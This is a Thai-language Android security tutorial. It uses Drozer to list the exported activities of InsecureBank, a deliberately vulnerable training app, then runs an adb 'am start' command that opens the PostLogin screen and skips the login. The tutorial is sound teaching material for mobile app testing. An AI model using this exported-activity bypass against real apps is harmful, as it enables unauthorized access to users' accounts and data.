บทนำ (Overview)
บทความนี้นำเสนอตัวอย่างการทำ “Invoke Activities” หรือการเรียกใช้งาน “Activity” โดยตรง โดยทดลองกับโปรแกรมที่มีช่องโหว่ชื่อ “Insecure Bank” และใช้งานโปรแกรม “Drozer” ในการหาชื่อ “Activity” ที่มีช่องโหว่ สุดท้ายจึงใช้ “ADB Shell” ผ่าน “Appie” ในการทำ “Invoke Activities” โดยหลักการเราจะทดลองเรียกหน้าจอหลัง “Login” ขึ้นมาโดยที่เราไม่จำเป็นต้องทราบ “username” และ “password” ที่ถูกต้อง
สามารถติดตามวิธีการทำ “Invoke Activities” ผ่าน “ADB” ได้จากบทความ How to invoke Activities from other application (INTENT FUZZING)
ขั้นตอน (Steps)
- ติดตั้งโปรแกรม InsecureBank (สามารถติดตามได้จากบทความ How to install InsecureBank)
- ใช้โปรแกรม “Appie” เพื่อเข้าถึง “ADB Shell” ดังนี้
C:\Users\[user]\Desktop λ adb shell root@android:/ #
- เราสามารถตรวจสอบชื่อ “com.package.name” ของเราโดยเข้าไปที่ไดเรกทอรี “/data/data”
root@android:/data # cd data cd data root@android:/data/data # ls -l ls -l drwxr-x--x u0_a37 u0_a37 2016-03-06 22:05 com.android.SSLTrustKiller drwxr-x--x u0_a1 u0_a1 2016-01-28 00:14 com.android.backupconfirm drwxr-x--x u0_a2 u0_a2 2016-01-28 00:32 com.android.browser drwxr-x--x u0_a4 u0_a4 2016-01-28 00:39 com.android.certinstaller drwxr-x--x u0_a0 u0_a0 2016-01-28 00:14 com.android.contacts drwxr-x--x u0_a6 u0_a6 2016-01-28 00:21 com.android.defcontainer drwxr-x--x u0_a7 u0_a7 2016-01-28 00:14 com.android.gallery drwxr-x--x u0_a12 u0_a12 2016-01-28 00:14 com.android.htmlviewer drwxr-x--x system system 2016-01-28 00:14 com.android.inputdevices drwxr-x--x u0_a16 u0_a16 2016-01-28 00:14 com.android.inputmethod.latin drwxr-x--x u0_a44 u0_a44 2016-03-06 22:05 com.android.insecurebankv2
- จากนั้นเราจะหา “ActivityName” โดยใช้โปรแกรม Drozer (How to set Drozer)
- จากโปรแกรม Drozer ค้นหา Activity ที่ตั้งค่า Export = True
.. ..:. ..o.. .r.. ..a.. . ....... . ..nd ro..idsnemesisand..pr .otectorandroidsneme. .,sisandprotectorandroids+. ..nemesisandprotectorandroidsn:. .emesisandprotectorandroidsnemes.. ..isandp,..,rotectorandro,..,idsnem. .isisandp..rotectorandroid..snemisis. ,andprotectorandroidsnemisisandprotec. .torandroidsnemesisandprotectorandroid. .snemisisandprotectorandroidsnemesisan: .dprotectorandroidsnemesisandprotector. drozer Console (v2.3.4) dz> run app.package.manifest com.android.insecurebankv2 <manifest versionCode="1" versionName="1.0" package="com.android.insecurebankv2" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727"> <uses-sdk minSdkVersion="15" targetSdkVersion="22"> </uses-sdk> <uses-permission name="android.permission.INTERNET"> </uses-permission> <uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE"> </uses-permission> <uses-permission name="android.permission.SEND_SMS"> </uses-permission> <uses-permission name="android.permission.USE_CREDENTIALS"> </uses-permission> <uses-permission name="android.permission.GET_ACCOUNTS"> </uses-permission> <uses-permission name="android.permission.READ_PROFILE"> </uses-permission> <uses-permission name="android.permission.READ_CONTACTS"> </uses-permission> <uses-permission name="android.permission.READ_PHONE_STATE"> </uses-permission> <uses-permission name="android.permission.READ_EXTERNAL_STORAGE" maxSdkVersion="18"> </uses-permission> <uses-permission name="android.permission.READ_CALL_LOG"> </uses-permission> <uses-permission name="android.permission.ACCESS_NETWORK_STATE"> </uses-permission> <uses-permission name="android.permission.ACCESS_COARSE_LOCATION"> </uses-permission> <uses-feature glEsVersion="0x20000" required="true"> </uses-feature> <application theme="@16974105" label="@2131165248" icon="@2130903040" debuggable="true" allowBackup="true"> <activity label="@2131165248" name="com.android.insecurebankv2.LoginActivity"> <intent-filter> <action name="android.intent.action.MAIN"> </action> <category name="android.intent.category.LAUNCHER"> </category> </intent-filter> </activity> <activity label="@2131165271" name="com.android.insecurebankv2.FilePrefActivity" windowSoftInputMode="0x34"> </activity> <activity label="@2131165268" name="com.android.insecurebankv2.DoLogin"> </activity> <activity label="@2131165275" name="com.android.insecurebankv2.PostLogin" exported="true"> </activity> <activity label="@2131165278" name="com.android.insecurebankv2.WrongLogin"> </activity> <activity label="@2131165269" name="com.android.insecurebankv2.DoTransfer" exported="true"> </activity> <activity label="@2131165277" name="com.android.insecurebankv2.ViewStatement" exported="true"> </activity> <provider name="com.android.insecurebankv2.TrackUserContentProvider" exported="true" authorities="com.android.insecurebankv2.TrackUserContentProvider"> </provider> <receiver name="com.android.insecurebankv2.MyBroadCastReceiver" exported="true"> <intent-filter> <action name="theBroadcast"> </action> </intent-filter> </receiver> <activity label="@2131165267" name="com.android.insecurebankv2.ChangePassword" exported="true"> </activity> <activity theme="@16973839" name="com.google.android.gms.ads.AdActivity" configChanges="0xfb0"> </activity> <activity theme="@2131296479" name="com.google.android.gms.ads.purchase.InAppPurchaseActivity"> </activity> <meta-data name="com.google.android.gms.version" value="@2131427332"> </meta-data> <meta-data name="com.google.android.gms.wallet.api.enabled" value="true"> </meta-data> <receiver name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" exported="false"> <intent-filter> <action name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION"> </action> </intent-filter> </receiver> </application> </manifest>
- กลับไปที่โปรแกรมบน “Android Emulator” จะพบว่าโปรแกรมร้องขอ “username” และ “password”
- ทดลองเรียก Activity โดยใช้คำสั่ง “am start -n com.package.name/com.package.name.ActivityName”
root@android:/data/data # am start -n com.android.insecurebankv2/com.android.insecurebankv2.PostLogin securebankv2/com.android.insecurebankv2.PostLogin Starting: Intent { cmp=com.android.insecurebankv2/.PostLogin }
- ปรากฏว่าสามารถข้ามหน้า login ไปได้